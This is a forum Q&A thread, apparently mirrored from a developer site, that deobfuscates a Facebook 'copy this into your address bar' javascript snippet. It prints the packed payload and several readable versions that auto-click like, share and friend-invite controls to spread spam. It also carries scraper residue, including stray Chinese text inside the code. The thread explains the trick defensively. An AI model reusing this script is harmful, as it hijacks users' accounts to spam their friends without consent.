Not so much a question to help my own programming, but I found this page on facebook with a cool illusion and a page that says "to see the real illusion, copy and paste this code into your address bar" and there is a script:
DISCLAIMER: DO NOT RUN THE FOLLOWING CODE
javascript:(function(){a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
eval(function(p,a,c,k,e,r){e=function(c)
{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.f开发者_Go百科romCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e)
{return r[e]}];e=function(){return'\\w+'};c=1};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p}
('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];
d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);
s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g])
{F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);
',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))})();
What the hell is this? What would happen if I put it in my address bar, which I assume would be a very unwise idea?
I am confused.
It's unclear at first what that code does (as it is intended to be) so to answer your question, the code has to be unpacked. Just so you can follow my thinking, I'm including every step of the unobfuscation here.
This is the current form of the script with line breaks added:
(function() {
a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';
SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]){F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))
})();
As we can see, the script itself is a function inside a self calling closure that will execute instantly when the script is processed. The script contains some cryptic variables and some code packed with Edward's packer. When we unpack the code using an unpacker like this, we get the following form (line breaks added):
(function(){
a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';
SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
var variables = [
"\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79",
"\x73\x74\x79\x6C\x65",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x68\x69\x64\x64\x65\x6E",
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x76\x61\x6C\x75\x65",
"\x73\x75\x67\x67\x65\x73\x74",
"\x6C\x69\x6B\x65\x6D\x65",
"\x73\x6C\x69\x6E\x6B",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
"\x69\x6E\x70\x75\x74",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65",
"\x53\x68\x61\x72\x65",
"\x70\x6F\x70\x5F\x63\x6F\x6E\x74\x65\x6E\x74"];
d = document;
d[variables[2]](kPtsfs)[variables[1]][variables[0]] = variables[3];
d[variables[2]](a)[variables[4]] = d[variables[2]](b)[variables[5]];
s = d[variables[2]](variables[6]);
m = d[variables[2]](variables[7]);
sl = d[variables[2]](variables[8]);
c = d[variables[10]](variables[9]);
c[variables[12]](variables[11], true, true);
s[variables[13]](c);
setTimeout(function () {
fs[variables[14]]()
}, 5000);
setTimeout(function () {
SocialGraphManager[variables[17]](variables[15], variables[16]);
setTimeout(function () {
c[variables[12]](variables[11], true, true);
sl[variables[13]](c);
setTimeout(function () {
inp = document[variables[19]](variables[18]);
for (i in inp) {
if (inp[i][variables[5]] == variables[20]) {
inp[i][variables[13]](c)
}
};
m[variables[13]](c);
setTimeout(function () {
d[variables[2]](SqmbQL)[variables[4]] = d[variables[2]](rhsjGW)[variables[5]];
}, 2000)
}, 4000)
}, 3000)
}, 5000);
})();
We can instantly see from that that the code is executing commands in specific intervals, first after 5 seconds, then three, then four and finally after two seconds. The beginning of the script contains some hex encoded variables that can be decoded to this:
var variables = [
"visibility",
"style",
"getElementById",
"hidden",
"innerHTML",
"value",
"suggest",
"likeme",
"slink",
"MouseEvents",
"createEvent",
"click",
"initEvent",
"dispatchEvent",
"select_all",
"sgm_invite_form",
"/ajax/social_graph/invite_dialog.php",
"submitDialog",
"input",
"getElementsByTagName",
"Share",
"pop_content"];
By substituting those variables into the code, we get:
(function(){
a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';
SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
d = document;
d["getElementById"](kPtsfs)["style"]["visibility"] = "hidden";
d["getElementById"](a)["innerHTML"] = d["getElementById"](b)["value"];
s = d["getElementById"]("suggest");
m = d["getElementById"]("likeme");
sl = d["getElementById"]("slink");
c = d["createEvent"]("MouseEvents");
c["initEvent"]("click", true, true);
s["dispatchEvent"](c);
setTimeout(function () {
fs["select_all"]()
}, 5000);
setTimeout(function () {
SocialGraphManager["submitDialog"]("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
setTimeout(function () {
c["initEvent"]("click", true, true);
sl["dispatchEvent"](c);
setTimeout(function () {
inp = document["getElementsByTagName"]("input");
for (i in inp) {
if (inp[i]["value"] == "Share") {
inp[i]["dispatchEvent"](c)
}
};
m["dispatchEvent"](c);
setTimeout(function () {
d["getElementById"](SqmbQL)["innerHTML"] = d["getElementById"](rhsjGW)["value"];
}, 2000)
}, 4000)
}, 3000)
}, 5000);
})();
And as we know that document['getElementById'] is the same as document.getElementById, we can clean up the code so it finally becomes readable. I've also done variable replacement and separated the setTimeouts for readability:
(function(){
document.getElementById('app129556453726651_kPtsfs').style.visibility = "hidden";
document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
s = document.getElementById("suggest");
m = document.getElementById("likeme");
sl = document.getElementById("slink");
c = document.createEvent("MouseEvents");
c.initEvent("click", true, true);
s.dispatchEvent(c);
setTimeout(function () {
fs.select_all()
}, 5000);
setTimeout(function () {
SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
}, 5000);
setTimeout(function () {
c.initEvent("click", true, true);
sl.dispatchEvent(c);
}, 8000);
setTimeout(function () {
inp = document.getElementsByTagName("input");
for (i in inp) {
if (inp[i].value == "Share") {
inp[i].dispatchEvent(c);
}
};
m.dispatchEvent(c);
}, 12000);
setTimeout(function () {
document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
}, 14000);
})();
Now, without knowing much of how Facebook works, this indeed looks malicious, sharing stuff you might not want to share etc. The main idea of this post was to show how you can decrypt scripts like this yourself also. :)
It is a facebook 'virus' of sort.. it actually invites all your friends to an app named socialgraph
reference: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit
This question comes up every day now...
It is code that invites all your friends to join a group (or something similar). Then the group starts spamming advertisements at it's members.
Malicious Code
document.getElementById('app129556453726651_kPtsfs').style.visibility = 'hidden';
document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
var s = document.getElementById('suggest');
var m = document.getElementById('likeme');
var sl = document.getElementById('slink');
var c = document.createEvent("MouseEvents");
c.initEvent('click', true, true);
s.dispatchEvent(c);
setTimeout(function () {
fs.select_all()
SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php');
setTimeout(function () {
c.initEvent('click', true, true);
sl.dispatchEvent(c);
setTimeout(function () {
var inp = document.getElementsByTagName('input');
for (i in inp) {
if (inp[i].value == 'Share') {
inp[i].dispatchEvent(c)
}
};
m.dispatchEvent(c);
setTimeout(function () {
document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
}, 2000)
}, 4000)
}, 3000)
}, 5000);
![Interactive visualization of a graph in python [closed]](https://www.devze.com/res/2023/04-10/09/92d32fe8c0d22fb96bd6f6e8b7d1f457.gif)
加载中,请稍侯......
精彩评论